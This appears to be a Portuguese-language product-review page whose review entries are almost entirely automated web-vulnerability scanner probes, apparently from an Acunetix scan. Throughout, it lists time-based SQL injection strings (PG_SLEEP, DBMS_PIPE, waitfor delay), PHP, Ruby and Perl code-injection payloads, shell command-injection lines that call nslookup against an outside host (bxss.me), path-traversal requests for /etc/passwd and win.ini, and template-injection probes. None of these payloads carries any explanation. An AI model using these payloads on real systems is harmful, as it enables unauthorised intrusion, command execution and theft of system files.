AVALIAÇÕES:
pHqghUme
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
pHqghUme
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
pHqghUmeXrJoaOQf')) OR 468=(SELECT 468 FROM PG_SLEEP(15))--
pHqghUme
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
pHqghUmeF65IfWpb') OR 191=(SELECT 191 FROM PG_SLEEP(15))--
pHqghUme
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
pHqghUmefzIyNnVD' OR 302=(SELECT 302 FROM PG_SLEEP(15))--
pHqghUme
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
pHqghUmegRO2Djw3')) OR 577=(SELECT 577 FROM PG_SLEEP(15))--
pHqghUme-1)) OR 350=(SELECT 350 FROM PG_SLEEP(15))--
pHqghUme
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
pHqghUmem9kbwT0f') OR 180=(SELECT 180 FROM PG_SLEEP(15))--
pHqghUme-5) OR 773=(SELECT 773 FROM PG_SLEEP(15))--
pHqghUmeQhH8YiM1')) OR 485=(SELECT 485 FROM PG_SLEEP(15))--
pHqghUmeiB24ybqq' OR 930=(SELECT 930 FROM PG_SLEEP(15))--
pHqghUme-5 OR 77=(SELECT 77 FROM PG_SLEEP(15))--
pHqghUmelFAWVA0s') OR 862=(SELECT 862 FROM PG_SLEEP(15))--
pHqghUme-1)) OR 792=(SELECT 792 FROM PG_SLEEP(15))--
pHqghUmePweRacWh')); waitfor delay '0:0:15' --
pHqghUmeXdwlf8BS' OR 925=(SELECT 925 FROM PG_SLEEP(15))--
pHqghUme-5) OR 662=(SELECT 662 FROM PG_SLEEP(15))--
pHqghUme7Pa62pSC'); waitfor delay '0:0:15' --
pHqghUme-1)) OR 293=(SELECT 293 FROM PG_SLEEP(15))--
pHqghUme-5 OR 348=(SELECT 348 FROM PG_SLEEP(15))--
pHqghUmenX4ucmeA'; waitfor delay '0:0:15' --
pHqghUme-5) OR 786=(SELECT 786 FROM PG_SLEEP(15))--
pHqghUmeBtiO6EZG')); waitfor delay '0:0:15' --
pHqghUme1 waitfor delay '0:0:15' --
pHqghUme-5 OR 567=(SELECT 567 FROM PG_SLEEP(15))--
pHqghUmeiBvzyEmU'); waitfor delay '0:0:15' --
pHqghUme-1)); waitfor delay '0:0:15' --
pHqghUmeHJ5KLEV4')); waitfor delay '0:0:15' --
pHqghUmeJduZay3Z'; waitfor delay '0:0:15' --
pHqghUme-1); waitfor delay '0:0:15' --
pHqghUmeTxCvdUcH'); waitfor delay '0:0:15' --
pHqghUme1 waitfor delay '0:0:15' --
pHqghUme-1; waitfor delay '0:0:15' --
pHqghUmeAi1aHbrT'; waitfor delay '0:0:15' --
pHqghUme-1)); waitfor delay '0:0:15' --
pHqghUme(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
pHqghUme1 waitfor delay '0:0:15' --
pHqghUme-1); waitfor delay '0:0:15' --
pHqghUme0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
pHqghUme-1)); waitfor delay '0:0:15' --
pHqghUme-1; waitfor delay '0:0:15' --
pHqghUme0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
pHqghUme-1); waitfor delay '0:0:15' --
pHqghUme(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
pHqghUmeif(now()=sysdate(),sleep(15),0)
pHqghUme-1; waitfor delay '0:0:15' --
pHqghUme0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
pHqghUme-1" OR 2+652-652-1=0+0+0+1 --
pHqghUme-1' OR 2+404-404-1=0+0+0+1 or 'Az8iPkaE'='
pHqghUme-1' OR 2+580-580-1=0+0+0+1 --
pHqghUme-1 OR 2+133-133-1=0+0+0+1
pHqghUme-1 OR 2+39-39-1=0+0+0+1 --
pHqghUme(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
pHqghUme0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
pHqghUme0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
pHqghUmeif(now()=sysdate(),sleep(15),0)
pHqghUme0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
pHqghUme-1" OR 2+273-273-1=0+0+0+1 --
pHqghUme-1' OR 2+284-284-1=0+0+0+1 or '72YLGJBT'='
pHqghUme-1' OR 2+548-548-1=0+0+0+1 --
pHqghUme-1 OR 2+319-319-1=0+0+0+1
pHqghUme-1 OR 2+773-773-1=0+0+0+1 --
pHqghUmeif(now()=sysdate(),sleep(15),0)
pHqghUme'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'Bom
pHqghUme-1" OR 2+977-977-1=0+0+0+1 --
oIWBB6ly')) OR 107=(SELECT 107 FROM PG_SLEEP(15))--Bom
pHqghUme-1' OR 2+438-438-1=0+0+0+1 or 'ZBR2slT1'='
pHqghUme-1' OR 2+87-87-1=0+0+0+1 --
pHqghUme-1 OR 2+992-992-1=0+0+0+1
pHqghUme-1 OR 2+54-54-1=0+0+0+1 --
G2Agej0t') OR 709=(SELECT 709 FROM PG_SLEEP(15))--Bom
pHqghUme'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'Regular
fujyJ4xE' OR 350=(SELECT 350 FROM PG_SLEEP(15))--Bom
PctzO62x')) OR 887=(SELECT 887 FROM PG_SLEEP(15))--Regular
7K9WhaP8')); waitfor delay '0:0:15' -- Bom
1 ????%2527%2522Não Gostei
-1" OR 2+143-143-1=0+0+0+1 -- Não Gostei
-1' OR 2+627-627-1=0+0+0+1 or 'IK0x9YFC'='Não Gostei
-1' OR 2+986-986-1=0+0+0+1 -- Não Gostei
-1 OR 2+221-221-1=0+0+0+1Não Gostei
5PtVzR2Q') OR 921=(SELECT 921 FROM PG_SLEEP(15))--Regular
-1 OR 2+111-111-1=0+0+0+1 -- Não Gostei
AWGlv2Xl'); waitfor delay '0:0:15' -- Bom
kvJchike' OR 958=(SELECT 958 FROM PG_SLEEP(15))--Regular
mc8q0Sr9'; waitfor delay '0:0:15' -- Bom
GsI4x31e')); waitfor delay '0:0:15' -- Regular
1 waitfor delay '0:0:15' -- Bom
QJd971If'); waitfor delay '0:0:15' -- Regular
UfHmtkAi'; waitfor delay '0:0:15' -- Regular
pHqghUme9740876Não Gostei
pHqghUmec:/windows/win.ini
pHqghUme'.print(md5(31337)).'
pHqghUme${@print(md5(31337))}\
pHqghUme${@print(md5(31337))}
pHqghUmehttp://bxss.me/t/fit.txt?.jpg
pHqghUmeHttp://bxss.me/t/fit.txt
pHqghUme";print(md5(31337));$a="
pHqghUme';print(md5(31337));$a='
pHqghUme)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
pHqghUme;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))Não Gostei
'.print(md5(31337)).'Não Gostei
${@print(md5(31337))}\Não Gostei
pHqghUmebxss.me/t/xss.html?%00
${@print(md5(31337))}Não Gostei
";print(md5(31337));$a="Não Gostei
pHqghUme1some_inexistent_file_with_long_name .jpg
pHqghUme'+'A'.concat(70-3).concat(22*4).concat(115).concat(77).concat(105).concat(81)+(require'socket'
Socket.gethostbyname('hitxg'+'hnscitxz6f2b1.bxss.me.')[3].to_s)+'
pHqghUmehttp://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg
';print(md5(31337));$a='Não Gostei
pHqghUme"+"A".concat(70-3).concat(22*4).concat(112).concat(87).concat(111).concat(72)+(require"socket"
Socket.gethostbyname("hitot"+"kiavjick43fa5.bxss.me.")[3].to_s)+"
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));Não Gostei
pHqghUmeHttP://bxss.me/t/xss.html?%00
bxss.me/t/xss.html?%00Não Gostei
c:/windows/win.iniNão Gostei
HttP://bxss.me/t/xss.html?%00Não Gostei
1 waitfor delay '0:0:15' -- Regular
http://bxss.me/t/fit.txt?.jpgNão Gostei
pHqghUme".gethostbyname(lc("hitww"."zvvwwowi449f9.bxss.me."))."A".chr(67).chr(hex("58")).chr(110).chr(86).chr(111).chr(76)."
pHqghUme'.gethostbyname(lc('hitby'.'hjsuarcu044fc.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(112).chr(74).chr(101).chr(79).'
Http://bxss.me/t/fit.txtNão Gostei
pHqghUmectime
sleep
p0
(I30
tp1
Rp2
.
pHqghUme^(#$!@#$)(()))******
pHqghUme`(nslookup hitaanebvkzfj092d9.bxss.me||perl -e "gethostbyname('hitaanebvkzfj092d9.bxss.me')")`
1some_inexistent_file_with_long_name .jpgNão Gostei
pHqghUme|(nslookup hitduwaokcnuzbb78d.bxss.me||perl -e "gethostbyname('hitduwaokcnuzbb78d.bxss.me')")
http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpgNão Gostei
pHqghUme&(nslookup hitokllfegtzj278df.bxss.me||perl -e "gethostbyname('hitokllfegtzj278df.bxss.me')")&'\"`0&(nslookup hitokllfegtzj278df.bxss.me||perl -e "gethostbyname('hitokllfegtzj278df.bxss.me')")&`'
^(#$!@#$)(()))******Não Gostei
pHqghUme$(nslookup hitjqemlxzaeg217f2.bxss.me||perl -e "gethostbyname('hitjqemlxzaeg217f2.bxss.me')")
pHqghUme$(nslookup hitjqemlxzaeg217f2.bxss.me||perl -e "gethostbyname('hitjqemlxzaeg217f2.bxss.me')")
pHqghUme
&n903931=v919768
pHqghUme(nslookup hitmqsntkwjyz4e9eb.bxss.me||perl -e "gethostbyname('hitmqsntkwjyz4e9eb.bxss.me')")
pHqghUme|echo hjpfrw$()\ qliczh\nz^xyu||a #' |echo hjpfrw$()\ qliczh\nz^xyu||a #|" |echo hjpfrw$()\ qliczh\nz^xyu||a #
pHqghUme&echo imqiue$()\ bqeiwy\nz^xyu||a #' &echo imqiue$()\ bqeiwy\nz^xyu||a #|" &echo imqiue$()\ bqeiwy\nz^xyu||a #
pHqghUmeecho wpykzo$()\ uhkssu\nz^xyu||a #' &echo wpykzo$()\ uhkssu\nz^xyu||a #|" &echo wpykzo$()\ uhkssu\nz^xyu||a #
pHqghUme&n953208=v963412Não Gostei
pHqghUme../../../../../../../../../../../../../../windows/win.ini
`(nslookup hitxxodgugwew004e7.bxss.me||perl -e "gethostbyname('hitxxodgugwew004e7.bxss.me')")`Não Gostei
pHqghUme../../../../../../../../../../../../../../etc/passwd
pHqghUme${10000150+9999848}
${10000154+9999015}Não Gostei
|(nslookup hitmxjtiqldcj86130.bxss.me||perl -e "gethostbyname('hitmxjtiqldcj86130.bxss.me')")Não Gostei
$(nslookup hitbqgvhavsqqbd3c2.bxss.me||perl -e "gethostbyname('hitbqgvhavsqqbd3c2.bxss.me')")Não Gostei
../../../../../../../../../../../../../../windows/win.iniNão Gostei
pHqghUme12345'"\'\");|]* {
<